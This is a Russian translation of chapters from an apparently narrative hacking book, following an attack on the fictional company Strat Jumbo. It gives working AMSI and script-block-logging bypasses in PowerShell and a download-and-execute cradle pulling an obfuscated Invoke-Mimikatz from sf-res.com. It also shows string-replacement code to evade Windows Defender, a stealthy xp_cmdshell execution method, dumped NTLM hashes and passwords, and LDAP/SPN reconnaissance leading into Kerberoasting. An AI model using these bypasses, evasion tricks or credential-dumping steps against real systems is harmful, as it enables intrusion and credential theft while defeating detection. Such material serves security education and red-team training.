Эх?! Windows Defender всё равно перехватывает это! Помните как специалисты по безопасности громко и слегка высокомерно заявляли, что антивирусные продукты способны сканировать лишь файлы на диске, а потому их просто обходить? Попробуйте сказать в наши дни это на хакерской конференции без того чтобы кто- нибудь не ткнул вам в нос брошюру о каком- то продукте "нового поколения". Даже Microsoft повысила ставку в своей игре, представив собственную функциональную возможность с названием AMSI начиная с выпуска Windows 10 и Server 2016. Как кратко упоминалось в Главе 8, AMSI это механизм, который перехватывает команды сценариев непосредственно перед их исполнением и отправляет их для анализа антивирусу. Неважно, был ли этот сценарий загружен с диска, из реестра или из памяти, потому как AMSI действует на уровне механизма сценария. Это также означает, что подобные base64 и шифрованию времени исполнения классические методы запутывания помогут лишь в ограниченной степени и, в зависимости от модели отличительных признаков лежащего в основе антивируса, не смогут обеспечить защиту от обнаружения.

AMSI к тому же является той причиной, по которой я так настаивал на удалении всех лишних команд и подозрительных строк из исходных сценариев PowerView и Invoke-Kerberoast . Теперь настало время обратиться к нашему слону в комнате раз и навсегда.

Борьба с AMSI

Нам требуется обойти ANSI чтобы иметь возможность загрузить Mimikatz в память. Поскольку в своём огороде мы являемся администраторами, мы можем просто отключить AMSI воспользовавшись встроенной командой Set-MpPreference (доступной исключительно в режиме с повышенными правами):

PS C:\> Set-MpPreference -DisableIOAVProtection $true

Однако, если мы исполним эту команду, мы должны ожидать регистрации сообщения с идентификатором события 5100, передаваемого в SIEM QRadar и почти несомненно того, что оно отслеживается на предмет выдачи предупреждения. Не слишком скрытно.

К счастью, у нас имеется иной вариант, который должен вызывать намного меньше шума. Таковой был разработан Мэттом Грэбером, воспользовавшимся методикой всемогущего отражения и придумавшим команду в одну строку для отключения AMSI, которую он опубликовал в Twitteer (естественно, она была удалена, но показана на Рисунке 10.1 - [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('a msiInitFailed','NonPublic,Static').SetValue($null,Strue)).

Рисунок 10.1

Удалённый твит Мэтта Гребера

Другой вариант можно отыскать в интересной компиляции обхода (с любезного разрешения Сэма Рэйтаншока) находящегося в папке Bypass в файле Invoke-AmsiBypass.ps1 .

Методика Мэтта Гребера основывается на занимательном наблюдении: в процессе инициализации AMSI, класс AmsiUtils проверяет значение переменной amsiInitFailed, содержащей Булеву величину, сообщающую нам загружены ли все модули надлежащим образом. Если, воспользовавшись отражением мы установим эту переменную в значение True, мы сможем убедить AMSI что он не загрузился, действенно отключая его для всего оставшегося сеанса PowerShell. Самое лучшее в этом состоит в том, что данный трюк не требует привилегий администратора. Сначала мы хватаем ссылку на класс AmsiUtils, вызывая метод [Ref].Assembly.GetType, в точности как мы делали это в Главе 8 для отключения ведения журнала PowerShell:

PS C:\> $utils = [Ref].Assembly.GetType('System.Management.Automation.Am'+'siUtils')

Затем мы выполняем выборку ссылки на значение атрибута amsiInitFailed и устанавливаем его в True. Во избежание какого бы то ни было полагающегося на лёгкое соответствие шаблону обнаружения мы пробрасываем это в небольшой конкатенации строки:

PS C:\> $field = $utils.GetField('amsi'+'InitF'+'ailed','NonPublic,Static')
PS C:\> $field.SetValue($null,$true)

Вслед за этими командами и всё ещё в своей лаборатории мы пробуем загрузить Mimikatz в памяти ещё раз, применяя сценарий Invoke-Mimikatz (как это показано в Листинге 10.2).

Листинг 10.2. Успешное исполнение Mimikatz после отключения AMSI

PS C:\Lab> $browser = New-Object System.Net.WebClient
PS C:\Lab> $file="https://sf-res.com/Invoke-mimi.ps1"
PS C:\Lab> IEX($browser.DownloadString($file))
PS C:\Lab> Invoke-Mimikatz

  .#####.  mimikatz 2.2.0 (x64) #19041 Oct 4 2020 10:28:51
 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ## /*** Benjamin DELPY `gentilkiwi
 ## \ / ##      > https://blog.gentilkiwi.com/mimikatz
 '## v ##'      Vincent LE TOUX
  '#####'       > https://pingcastle.com
Authentication Id : 0 ; 1373617 (00000000:0014f5b1)
Session           : Interactive from 1
User Name         : administrator
Domain            : LAB

Logon Time        : 03/01/2021 11:13:11
SID               : S-1-5-21-1818376838-2334902-1555214-1002
        msv :
         [00000003] Primary
         * Username : administrator
         * Domain   : LAB
         * NTLM     : d03fe67884dfeabc43f48a67fdcefcaa
--snip--

Наконец- то успех. Нам удалось отключить AMSI и мы готовы собирать пароли при помощи Mimikatz в своей тестовой машине. Теперь мы можем перейти к исполнению своего сценария в базе данных Strat Jumbo. Однако, если вы сделаете это, вы обнаружите, что воспроизведение данного сценария в более поздней версии, скажем в Windows 10 Desktop 10.0.18363 - приводит к тому, что Defender выдаёт симпатичное небольшое предупреждение, которое, скорее всего, испортит даже любимый вами десерт. Это предупреждение выдаётся лишь тогда, когда исполнение переходит к Mimikatz, поэтому, вероятно, оно не имеет ничего общего со сценарием Invoke-Mimikatz. Это занятное поведение антивируса, а потому, на всякий случай, давайте определим что может вызывать такое предупреждение и отыщем способ его обхода.

Выявляя преступника

Всегда бывает хитроумным в точности выявить переключатель предупреждения антивируса, но мы способны попытаться в точности определить тот момент, когда Defender издаёт предупредительный сигнал, воспользовавшись доверенными службами отладчика, например, x64dbg. Отладчик поможет проверить нам каждую исполняемую ЦПУ инструкцию и, надеюсь, определить что предупреждает Defender.

Наверняка нам придётся многократно провоцировать Defender чтобы навести на раздражающие инструкции. Для ускорения этого процесса мы отключим возможность Defender удалять Mimikatz, тем самым мы сможем быстро перезагружать его исполняемый файл из x64dbg снова и снова, вместо того чтобы всякий раз загружать новую версию, распаковывать её и тому подобное.

С этой целью мы поместим исполняемый файл Mimikatz в общую папку, располагающуюся в другом компьютере. Эта общая папка будет поддерживать доступ только на чтение, раз уж мы монтируем её в своём лабораторной машине. Даже самый привилегированный администратор нашего компьютера не сможет изменять содержимое этой удалённой папки, так как её полномочия ограничены самим удалённым компьютером.

Затем мы загружаем Mimikatz в отладчик при помощи стандартной команды меню File > Open и позволяем ему работать без прерываний. Это простое исполнение в памяти всё ещё заставляет Defender жаловаться но, по крайней мере, мы в данный момент рады обнаруживать такое всплывающее предупреждение. Это означает, что хотя наш сценарий и не совсем соответствует отражающей загрузке с применением Invoke-Mimikatz.ps1, всё же оно обладает достаточным сходством чтобы превратить наше изыскание в стоящее свеч.

Мы перезапускаем Mimikatz в отладчике (Debug > Restart), но на этот раз тщательно шагаем по каждой инструкции (F8) пока медленно и мучительно не достигаем той области кода, которая совпадает с выдачей предупреждения Defender. После череды проб и ошибок мы выявляем, что всякий раз, когда ЦПУ останавливается где- то в районе отражённого на Рисунке 10.2 кода, Defender крякает.

Рисунок 10.2

Та область кода, которая включает Defender

Вам не нужно быть волшебником в дизассемблировании чтобы догадаться что делают эти строки. Если вы обратите внимание на правую часть данного рисунка, вы обнаружите знакомый набор строк, отображаемых Mimikatz при его запуске. Это тот код, который отображает традиционное приветствие Mimikatz, с которым мы уже знакомы и, скорее всего, именно эти строки хранятся в Defender. Последующее расследование показывает ещё одну область, которая включает Defender: ту часть, в которой Mimikatz начинает загружать свои модули и команды (sekurlsa, logonpasswords и т.п.). По сути, сканирование в памяти Defender просто выполняет то, что осуществляет его дисковый компонент и всякий проклятый антивирус: сопоставление строк.

Уклоняясь от сопоставления строк

Если мы сможем изменить некоторые из этих уличающих нас строк внутри Mimikatz перед его загрузкой, мы полностью обойдём Defender. Естественно, мы бы могли изменить данные строки на уровне исходного кода, но тогда нам пришлось бы вручную отслеживать всякий новый выпуск. Гораздо проще подправить эти строки в самом Invoke-Mimikatz. Именно это я и выполнил в своём индивидуальном сценарии.

Прокрутите его до строки 2555, где начинается вызывающая предупреждение строка и я расскажу вам про этот код.

Мы начинаем с определения перечня ключевых слов и их новых благополучных альтернатив. Такие строки замещения обязаны иметь ту же самую длину во избежание видоизменение структуры исполняемого файла. Я позаимствовал вызывающих раздражение ключевых слов из проекта Reflect-pe, который применяет ту же самую технику для загрузки произвольного исполняемого файла в память. Его полный список содержит 14 критически важных ключевых слов для замены. В этом примере я покажу лишь два, mimikatz и gentilwiki с безобидной заменой их:

$hash = @{"mimikatz" = "yolokity", "gentilkiwi" = "miniorange"}

Далее мы готовим свои кодирующие фильтры для верного форматирования строк в массивы байт. В Windows по умолчанию настроен Unicode, поэтому выглядящая как mimi строка на самом деле хранится как \x00m\x00i\x00m\x00i. Класс [system.Text.Encoding]::Unicode поможет нам преобразовывать обычные строки в массивы байт Unicode.

Однако, имеется проблема: PowerShell поддерживает только метод поиска соответствия и замены со строками, поэтому нам придётся преобразовывать свои массивы обратно в строки. Последующее усложнение состоит в том, что .NET, совершая ещё один блестящий подвиг, теряет байт \x00 в процессе обычного преобразования строки. Например, Unicode \x00m, к примеру, преобразуется в однобайтовую букву m, что производит сдвигает смещения внутри изменяемого исполняемого файла и искажает его структуру. Поэтому нам требуется применять особую кодировку с названием ISO/28591 {Прим. пер.: точнее, ISO-8859-1, 28591 - применяемый в Windows номер кодовой страницы, используется для кодирования в 8 бит практического большинства алфавитов с латиницей.}, которая сбережёт эти драгоценные байты \x00, что позволит преобразовать строки в байты без усечения. В Листинге 10.3 приведён код для перебора нашего перечня уличающих слов и замены каждого из них новой безобидной версией:

Листинг 10.3. Запутывающий код

  $uni = [system.Text.Encoding]::Unicode
  $Encoder = [System.Text.Encoding]::GetEncoding(28591)
¹ $binary_text = $Encoder.GetString($PEBytes)
² $hash.Keys | ForEach-Object {
     $old = $Encoder.GetString($uni.GetBytes($_))
     $new = $Encoder.GetString($uni.GetBytes($hash.Item($_)))

      $ binary_text = $ binary_text -replace $old, $new
  }
  # Мы преобразовываем полученный результат обратно в массив байт
  $PEBytes = $Encoder.GetBytes($binary_text)

В самых первых двух строках мы готовим кодировщики Unicode и ISO/28591; затем мы загружаем исполняемый файл Mimikatz изначально хранимый в качестве массива байт, PEBytes в строку с названием $binary_text¹. Мы обходи в цикле массив ключевых слов для замены², преобразовываем их в Unicode, затем получаем представляющую их строку при помощи ISO/28591 перед исполнением классической замены строки в PowerShell.

Будь ты проклят, PowerShell, и твоя бесполезная сложность ... но хорошая новость в том, что это работает. Давайте испробуем.

Вы заметите, что в сценарии Invoke-mimi.ps1, примерно в строке 2610, мы заменили распространённые команды sekrulsa и logonpasswords на sekelssa и Passlogonwords, поэтому, естественно, нам требуется соблюдать это изменение при вызове нового Invoke-Mimikatz:

PS C:\Lab> $browser = New-Object System.Net.WebClient
PS C:\Lab> $file="https://sf-res.com/Invoke-mimi.ps1"
PS C:\Lab> IEX($browser.DownloadString($file))
PS C:\Lab> Invoke-Mimikatz -command "privilege::debug sekelssa:: Passlogonwords"

Когда мы исполним эту новую версию Invoke-Mimikatz, мы не получим ни одной активности от Defender.

Окончательный сценарий

Напомним, что когда мы объединим процедуру обхода регистрации записей блоков строк, отключения AMSI и обманывающего сценария Invoke-Mimikatz, получаемый результат выглядит примерно так, как это отражено в Листинге 10.4:

Листинг 10.4. Окончательное сочетание процедуры обхода регистрации записей блоков сценария, отключения AMSI а также запутывающего сценария Invoke-Mimikatz

$utils = [ref].Assembly.GetType('System.Management.Automation.Utils') ¹

$dict = $utils."GetF`Ield"('cachedGroupPolicySettings', 'NonP'+'ublic,Static')

$key = "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\
ScriptBl"+"ockLogging"

$dict.getValue("")[$key]['EnableS'+'criptBlockLogging'] = 0

# Отключение AMSI
$utils = [Ref].Assembly.GetType('System.Management.Automation.Am'+'siUtils') ²

$field = $utils.GetField('amsi'+'InitF'+'ailed','NonPublic,Static')

$field.SetValue($null,$true)

# Создаём новый запрос браузера
$browser = New-Object System.Net.WebClient; ³

# Копируем установки прокси
$browser.Proxy.Credentials =[System.Net.CredentialCache]::DefaultNetworkCredentials; ⁴

# Выгружаем Invoke-mimi.ps1 (mimikatz) и исполняем его в памяти
IEX($browser.DownloadString('https://sf-res.com/Invoke-mimi.ps1')); ⁵

Invoke-Mimikatz -command "privilege::debug sekelssa:: Passlogonwords";

Вначале мы отключаем регистрацию записи блоков сценариев¹, затем, как это обсуждалось ранее, мы отключаем AMSI². Мы создаём новый запрос браузера³ и копируем имеющиеся настройки прокси в случае, если существуют ограничения на исходящие запросы в Интернет⁴. Наконец, мы выгружаем Invoke-mimi.ps1, наш выставленный ранее персональный сценарий Invoke-Mimikatz и исполняем его а памяти⁵.

Здесь я хотел бы подчеркнуть, что всякий обход антивируса уникален. Большинство классических антивирусных продуктов в основном полагаются на сканирование файлов на диске, поэтому унифицированный Invoke-Mimikatz безо всей этой маскировки строк отработает нормально. Прочие, подключающиеся к AMSI, смогут перехватывать команды сценария, поэтому, прежде чем осуществлять какие бы то ни было махинации, вам следует отключить AMSI. Прочие, подобные Defender, перехватывают некоторые системные события и сканируют входные буферы на наличие строк из их чёрного списка. Существует также ещё более продвинутый антивирус, который отслеживает общее поведение системы, но об этом позднее.

Исполнение сценария

Теперь, когда мы разобрались с проблемой Defender, давайте вернёмся в своему первоначальному плану: запуску Mimikatz в базе данных Citrix для сброса пароля citrix_srv.

Обычный способ удалённого исполнения сценария в базе данных это сначала закодировать его в base64, а затем исполнить его через xp_cmdshell при помощи следующей команды:

Sql> EXEC xp_cmdshell "powershell.exe -enc <encoded_script>"

Хотя это выглядит как надёжный метод, который облегчает бо́льшую часть проблем, связанных с экранированием кавычек и квадратных скобок в PowerShell, его широкое применение большим числом вредоносных программ превратило данную команду в очевидный красный флаг, активно отслеживаемый многими продуктами безопасности. Поэтому я считаю целесообразным применять совсем иную технику для достижения того же самого результата.

Вместо того, чтобы хранить наш свой сценарий в файле или реестре, либо кодирования его в base64, мы сохраним его в переменной среды в удалённой базе данных, воспользовавшись командой set:

Sql> $command="set cmd=$utils=[ref].Assembly.Get[...];Invoke-Mimikatz;"

Затем нужно просто получить эту переменную из PowerShell и исполнить её содержимое при помощи выглядящего менее подозрительным переключателя команды switch:

Sql> $command= $command + ' && powershell -command "(get-item Env:cmd).value | iex"'

Потом мы встраиваем свою хранящую нашу полезную нагрузку переменную $command в запрос SQL и исполняем его в соответствующей удалённой базе данных при помощи xp_cmdshell:

PS X:\> Invoke-SqlCommand -server STRAT-CI-03 -database master -username sa -password L3c3ist3r@87 -query "EXEC xp_cmdshell '$command'"

#####. mimikatz 2.2.0 (x64) #19041 Oct 4 2020 10:28:51
--snip--
       * NTLM: 9fd4a98df7c6a20a6fcdad2453202b3d
       * SHA: 678a427defa30ce7cdd1ad814f43d3fc68531d16
tspk:
wdigest:
* Username: citrix_srv
* Domain : STRATJUMBO
* Password: Fr1ends!09
--snip--

И, о чудо, мы получили пароль citrix_srv!

Собираем свои трофеи

Теперь мы можем получить доступ и посмотреть что мы можем стырить. Для открытия нового сеанса в соответствующем сервере Citrix мы воспользуемся учётной записью citrix_srv, как это видно на Рисунке 10.3. Поскольку мы теперь являемся частью группы администраторов, мы более не выступаем объектом политик AppLocker, а следовательно и режима с ограничениями языка PowerShell. Оба ограничения сказочно улетучились - не то чтобы они нас сильно беспокоили, но теперь это, несомненно, существенно упрощает нам жизнь.

Рисунок 10.3

Новый сеанс в сервере Citrix

Мы получили сокровищницу новых приложений, доступных в этом новом сеансе, от RDP до File Explorer. Что предпринять дальше? Мы могли бы, к примеру, проверить прошлые или сохранённые подключения в приложении RDP и ограничивать своё смещение в сторону теми машинами, в которых обычно размещаются интерактивные сеансы, принадлежащие учётной записи citrix_srv, тем самым, избегая выявления ATA необычного поведения. Как вы можете наблюдать на Рисунке 10.3, подключения RDP для трёх серверов закреплены, а потому они должны быть безопасными целями. Мы можем сделать вывод, что эта учётная запись в основном применяется для управления серверами XenApp: STRAT-CI-01, STRAT-CI-02 и STRAT-CI-03. Это может показаться не столь значительным, но это ещё два сервера, которыми мы можем пользоваться для сбора урожая паролей недавно подключившихся пользователей.

Мы переходим к заключительному этапу своего плана по сбору паролей разработчиков. Мы открываем в STRAT-CI-01 сеанс PowerShell с полномочиями администратора, отключаем ведения журнала блоков сценариев и AMSI, затем снова запускаем Mimikatz. Вот фрагмент того что мы находим:

--snip--
* NTLM: 51e88401c8b300abcf3346e4d46a5ce7
* SHA: 8d8a26a1381b3d2b9327791e89f1e46cd1708ad2
tspk:
wdigest:
  * Username: mozzy.caffrey
  * Domain  : STRATJUMBO
  * Password: 12Drumbeat!

Потребовалось какое- то время сюда добраться, но мы наконец- то начали овладевать некоторыми учётными записями! Мы перезапускаем Mimikatz ещё пару раз в течение последующих нескольких часов чтобы не торопясь заполнить учётные данные почти для всех своих групп разработчиков, что отображено в Таблице 10.1.

Таблица 10-1. Имена пользователей и пароли группы разработчиков

Группа
Имя пользователя/ пароль

SNOW

jack.bosa/Spa98row!%

YGRITTE

lizzie.dutch/Holi_day_213

CERSEI

mozzie.caffrey/12Drumbeat!

lucilla.silvy/Greyjoy*1

TYRION

нет

DAENERYS

cassini.morini/Dragons*fire

RHAEGAR

janet.mcentire/ Molly_Dorian10

rodolpho.schwatz/Great*Gatsby0

TYWIN

нет

BAELISH

нет

TORMUND

ron.bilius/AkRiV€ra9

richard.darwin/Greatest-Show-3ver!

ARYA

laura.stevens/5YadorChan09

monica.fourb/WishYouHere*B

Дабы увеличить свои шансы и ускорить процесс, мы запускаем аналогичные команды в своих следующих двух серверах XenApp. Теперь у нас имеются учётные сведения для законных учётных записей разработчиков. Мы как никогда ранее готовы отыскать необходимый нам проект Strat Accounting и надеемся воспользоваться одной из этих учётных записей для внедрения своего желанного потайного хода.

[Замечание]
В ATA

В данном сценарии мы не пытались победить ATA, пытаясь непосредственно обойти его модуль обнаружения отличительных признаков. Мы просто плыли по течению и уделяли пристальное внимание испускаемым каждой из наших команд пакетам чтобы максимально слиться с имеющимся обменом. Иной подход состоит в перепроектировании наших инструментов во избежание срабатывания модуля отличительных признаков ATA. Например, при подделке билетов Kerberos конкретная версия ATA отмечает лишь тот факт, что мы запросили билет Kerberos при помощи хэша NT. Если мы отправим тот же запрос, воспользовавшись хэшами AES-256 и AES-128 (также полученными Mimkatz) мы не получим ни единого писка. Можно долго обсуждать эти небольшие хитрости для победы над ATA на их собственном поле. Если вам интересна данная тема, ознакомьтесь с потрясающим докладом "Evading Microsoft ATA for Active Directory Domination" Нихила Миттала на Black Hat 2017.

Ресурсы

Различные рассуждения Джентилкиви относительно подробностей недостатка LSASS, например, "From Mimikatz to Kekeo, Passing by New Microsoft Security Technologies" на BlueHat IL 2017

Проект Reflective DLL Injection Стивена Фьюера, до сих пор выступающего золотым стандартом при погружении во вселенную отражающей загрузки

Оригинальный пост Clymb3r в блоге, в котором подробно описывается его DLL-атака отражения для загрузки Mimikatz в память

Сообщение в блоге Адама Честера об исправлении WDigest, позволяющем хранить пароли в открытом виде

Восхитительный доклад Амита Кляйна и Ицика Котлера о малоизвестных методах внедрения в память "“Process Injection Techniques – Gotta Catch Them All" на Black Hat 2019

Глава 9. Русская рулетка

Содержание

Глава 9. Русская рулетка

Камуфляж

Выявление служб

Атакуем базу данных

Распутанный Kerberos

Прожарка баз данных цербера

Взламываем пароли

Настройка взлома пароля

Составление списка слов

Исполнение Hashcat

Ресурсы

Всякий раз, когда вы чувствуете, что зашли в тупик, всегда возвращайтесь к результатам разведки. Где-то среди всей этой кучи данных вы найдёте что-то, что снова даст толчок вашему творчеству.

Мы уже получили в свои руки много сведений, но дорогой ценой. На этот раз нам нужно быть более осторожными, чтобы нас снова не выкинули из сетевой среды. Мы знаем, что ATA и QRadar ведут наблюдение. При работе с ATA или любым иным инструментом анализа поведения лучше всего максимально слиться с обычным обменом; в данном случае это означает обмен Active Directory Windows.

Камуфляж

Для запроса копий объектов AD, таких как пользователи, группы, машины и настройки GPO с целью кэширования все машины в Лесу AD полагаются на LDAP. Применение LDAP настолько распространено, что мы можем применять его для осуществления приличного объёма разведки в домене, причём не вызывая никаких сомнений. Здесь для поиска и выполнения запросов в Active Directory Domain Services в LDAP мы вызываем в PowerShell DirectorySearcher класса [adsisearcher]. Соответствующий конструктор класса adsisearcher ожидает строку поиска. В данном примере для поиска всех объектов, которые обладают установленными в Domain Admins значение свойства memberOf, мы применяем синтаксис LDAP:

PS C:Lab\> $search=[adsisearcher]'(memberOf=CN=Domain Admins,CN=users,DC=Stratjumbo,DC=lan)'
PS C:Lab\> $search.findAll()
Path
----
LDAP://CN=Administrator,CN=Users,DC=stratjumbo,DC=lan
LDAP://CN=admin.beny,CN=Users,DC=stratjumbo,DC=lan
LDAP://CN=admin.edward,CN=Users,DC=stratjumbo,DC=lan
LDAP://CN=admin.jed,CN=Users,DC=stratjumbo,DC=lan
--snip--

Мы получили перечень пользователей администраторов. Это в точности тот же самый список, который мы получили обычной командой net group "domain admins" /domain , за исключением того, что последняя полагается на редко применяемый протокол SAMR, который ATA тщательно отслеживает, в то время как наши команды зависят от более распространённых запросов LDAP и не будут подбираться ATA.

Если мы действительно настороженно относимся к любому типу взаимодействия с контроллером домена, мы можем дополнительно замаскироваться, напрямую запрашивая кэшированные Windows объекты домена. Эти объекты предоставляются через классы WMI, такие как win32_groupindomain и Win32_UserAccount. Данные могут быть устаревшими, но во многих случаях они могут оказаться достаточными:

PS C:Lab\> Get-WmiObject -class win32_groupindomain | select partcomponent

PS C:Lab\> Get-WmiObject -Class Win32_UserAccount -Filter "Domain='stratjumbo' AND Disabled='False'"

Работа напрямую с классом adsisearcher для запроса объектов LDAP запросто может создать головную боль. Синтаксис фильтров поиска LDAP не слетает из- под пальцев.

Вместо этого мы возвращаемся к своему возлюбленному PowerView: его Get-Users, Get-Computers, Get-Groups и аналогичные команды регистрации полагаются на LDAP и принимают намного более простой синтаксис фильтров. Нам всего лишь требуется не забыть отключить ведение журналов блоков сценариев перед загрузкой PowerView в память. Пока мы пользуемся своим небольшим персональным сценарием из Главы 6, AMSI не должен беспокоить нас (подробнее об этом в Главе 10).

Здесь мы применяем PowerView для вызова Get-NetGroupMember чтобы опять перечислить этих администраторов домена:

PS X:\> Get-NetGroupMember -GroupName "domain admins"

GroupDomain : stratjumbo.lan
GroupName   : Domain Admins
MemberDomain: stratjumbo.lan
MemberName  : admin.jed
MemberSID   : S-1-5-21-2894670206-200049805-1028998937-1136
IsGroup     : False
MemberDN    : CN=admin.jed,CN=Users,DC=stratjumbo,DC=lan
--snip--

Вуаля.

Часть пока не собранных нами сведений это список объявленных в Active Directory машин. Давайте установим его сразу:

PS X:\> Get-NetComputer -FullData
|select cn, operatingsystem, logoncount, lastlogon
|Format-Table -Wrap -AutoSize

cn           operatingsystem      logoncount lastlogon
STRAT-AD-01  Windows Server 2019  50         3/12/2020 10:11...
STRAT-AC-00  Windows Server 2019  63         3/12/2020 11:09...
STRAT-DO-05  Windows Server 2019  60         3/12/2020 10:24...

Мы получаем список машин, но имена серверов в лучшем случае загадочны; мы не можем догадаться об их назначении. (Если вы помните, наш сервер Citrix носит название STRAT-CI-01).

Спонтанный проверяющий проникновения внутри нас, скорее всего, захотел бы выполнить массовое сканирование портов чтобы определить какие службы работают в этих машинах. Быть может, вы легко найдёте лёгкую цель, такую как Tomcat с учётными данными по умолчанию, старый сервер SMB, консоль администратора JBoss или тому подобное. Но я полагаю, что вы достаточно увидели, чтобы воспротивиться этому глупому желанию. Сканирование портов заполняет сетевую среду миллионами нацеленных на все доступные порты пакетов; это вряд ли незаметно, причём вне зависимости от того сколько параметров Nmap вы включите. Если бы мы попытались сделать это, нас, скорее всего, выгнали бы на десятом зондировании. Так как же нам провести служебное расследование без прощупывания всех машин по отдельности?

Выявление служб

Мы обращаем свои молитвы к всезнающему богу Active Directory: Контроллеру домена. Все работающие в серверах Windows службы и приложения, которые намерены применять протокол Kerberos для проверки подлинности пользователей, должны объявить в Контроллере домена уникальное имя субъекта службы (SPN, service principal name). Воспринимайте значение SPN как уникальный идентификатор службы. Он содержит не только название службы, но и, в соответствии с официальными спецификациями, его номер порта и название сервера, в которой он запущен. Забавно, что в соответствии с установленной схемой Kerberos, значение SPN хранится как общедоступное свойство объекта пользователя из Active Directory, поэтому запросить перечень всех допустимых SPN может любой прошедший проверку подлинности пользователь. В Листинге 9.1 мы пользуемся PowerView для получения значений SPN идентифицированных нами машин.

Листинг 9.1. Выборка сведений о службах через SPN

PS X:\> Get-NetUser | select name,serviceprincipalname | Format-Table -Wrap -AutoSize
sqlexpress {MSSQLSvc/strat-CI-03:14488, MSSQLSvc/strat-CI-05...
sharepoint_acct {http/strat-AK-09:8443, http/strat-AK-02:443,...
adfs_svc
sqlexpress2 {MSSQLSvc/strat-AK-03:1433, MSSQLSvc/strat-AK-02...

Вот вы их и получили: простое перечисление портов без наводнения своей сетевой среды бесполезными пакетами. Теперь у нас имеется частичный список веб серверов, таких как STRAT-AK-02 и STRAT-AK-01, а также, чтоб более важно, мы выявили некоторые базы данных, которые, как кажется, пользуются такими учётными записями домена как sqlexpress и sqlexpress2: а именно, STRAT-CI-03, STRAT-CI-05 и STRAT-AK-03.

Очевидным ограничением такой методики является то, что мы получаем лишь службы, которые поддерживают аутентификацию Kerberos, например, некоторые веб- серверы (IIS, Tomcat и так далее), базы данных SQL Server, WinRM (удалённое исполнение PowerShell), RDP (для сеансов удалённых рабочих столов), Exchange и тому подобных. Но, как мы скоро увидим, эти простые сведения могут обладать большим значением.

Ещё одним ограничением, о котором надлежит помнить, выступает сетевая фильтрация. Мы видим, что STRAT-AK-03 размещает по порту 1433 базу данных SQL Server, но ничто не гарантирует, что мы и в самом деле сможем получить доступ к этой базе данных со своего сервера Citrix. И в самом деле, когда мы отправляем тестовый сетевой пакет, время ожидания истекает, поэтому мы можем заключить, что он действительно не доступен.

Команда Get-NetUser из Листинга 9.1 возвращает лишь привязанные к обычным учётным записям домена идентификаторы SPN. Тем не менее, хотя SPN, возможно, и обычные, связаны также и с учётными записями машин, а потому мы захватываем их при помощи команды Get-NetComputer:

PS X:\> Get-NetComputer -FullData -SPN *
| select samaccountname,serviceprincipalname
| Format-Table -Wrap -AutoSize

Samaccountname  serviceprincipalname
-------------   --------------------
STRAT-AD-01$    TERMSRV/STRAT-AD-01, Ldap/STRAT-AD-01, DNS/Strat-AD-01...

Мы можем наблюдать, что наша машина с учётной записью DC STRAT-AD-01$ обладает большим числом привязанных к ней SPN - TERMSRV (Terminal Services, известные в Windows Server 2008 R2 и последующих версиях как Remote Desktop Services), LDAP, DNS и тому подобные - что можно ожидать Контроллером домена.

При помощи простого поиска мы анализируем выработанный для машин, служб и портов список SPN и приходим к заключению, что имеющиеся базы данных SQL почти полностью расположены в одном и том же сегменте сетевой среды:

PS X:\> nslookup strat-ci-03

Name:    strat-ci-01.stratjumbo.lan
Address: 10.134.0.78

PS X:\> nslookup strat-ak-03
Name:    strat-ak-03.stratjumbo.lan
Address: 10.134.0.14
--snip--

Забавно. Ранее мы не были способны достигать порта базы данных 1443 из STRAT-AK-03, однако несомненно Citrix обязан быть гарантировано обеспечен доступом к своей базе данных для выборки объектов, соответствий сеансам пользователей и тому подобного. Принимая во внимание наблюдаемые нами названиями, кажется безопасным сделать ставку на то, что база данных нашего Citrix будет обладать названием в виде STRAT-CI-XX. Простое тестирование пингом достаточно быстро подтверждает это:

PS X:\> ping strat-ci-03

Pinging strat-ci-03.stratjumbo.lan [10.134.0.78] with 32 bytes of data:

Reply from 10.134.0.78: bytes=32 time=94ms TTL=128
--snip--

Даже несмотря на то, что у нас нет сетевого доступа к прочим базам данных, есть вероятность что база данных нашего Citrix способна свободно взаимодействовать с прочими базами данных в той же самой подчинённой сети. Именно это является наиболее распространённой установкой во многих сетевых архитектурах: допускать поток обмена внутри некого сетевого интерфейса и блокировать всё приходящее извне.

Таким образом, если нам удастся получить контроль над базой данных Citrix, мы сможем перейти к прочим базам данных и искать учётные данные в памяти, пароли в сценариях и, возможно, даже исходный код разработки.

Атакуем базу данных

Нам нужно выяснить, как атаковать базу данных STRAT-CI-03. Не бойтесь: здесь снова вступает в игру магия Kerberos. Чтобы воспользоваться Kerberos, важно понимать, как он работает для аутентификации пользователей. Побалуйте себя моим небольшим экскурсом в эту тему, чтобы предоставить следующую атаку.

Распутанный Kerberos

Когда пользователь инициирует процесс аутентификации в некой службе (идентифицируемой её SPN), для выполнения протокола аутентификации Kerberos имеют место следующие этапы:

Соответствующий пользователь шифрует значение текущей временной метки его хэшем пароля и отправляет её в свой контроллер домена.

Контроллер домена будет выполнять авторизацию только тех запросов, которые были отправлены в течение последних пяти минут, поэтому, применяя хранящийся в Active Directory хэш, он расшифровывает временную метку и проверяет, попадает ли она в пятиминутный диапазон. Если это так, Контроллер домена отправляет обратно блоб (большой двоичный объект) зашифрованных данных — билет на предоставление билетов (TGT, ticket-granting ticket), содержащий идентификатор пользователя и его привилегии. Только Контроллер домена способен расшифровать и прочитать такой TGT.

Позднее, желающий получить доступ к веб- службе, базе данных или любой прочей службе в этом домене пользователь контактирует раз или более со своим контроллером домена и вслепую отправляет обратно свой TGT совместно со значением имени желательной службы. Его Контроллер домена проверяет значение подлинности полученного TGT и отправляет обратно билет службы выдачи билетов (TGS, ticket-granting service), который представляет собой зашифрованный блоб данных, содержащий подлинность этого пользователя. Этот билет TGS может быть прочитать только соответствующая целевая служба.

Этот пользователь вслепую пересылает этот билет TGT в необходимую целевую службу, которая расшифровывает полученные данные, извлекает идентичность пользователя и предоставляет доступ.

В данном обзоре процесса я намеренно не включил множество обменов ключами сеансов, применяемых для симметричного шифрования данных, поскольку они не служат нашим непосредственным целям. Вместо этого мы сосредоточимся на билете TGS - зашифрованном блобе данных, содержащем значение идентичности пользователя. Этот билет зашифрован хэшем NT учётной записи соответствующей службы; то есть значение хэша его пароля.

Именно здесь начинается самое интересное. Кто угодно в домене может запросить некий билет TGS, причём вне зависимости от того имеет он в реальности доступ к такой службе или нет. Это не интересует Контроллер домена, он всего лишь распространяет зашифрованные блобы сведений.

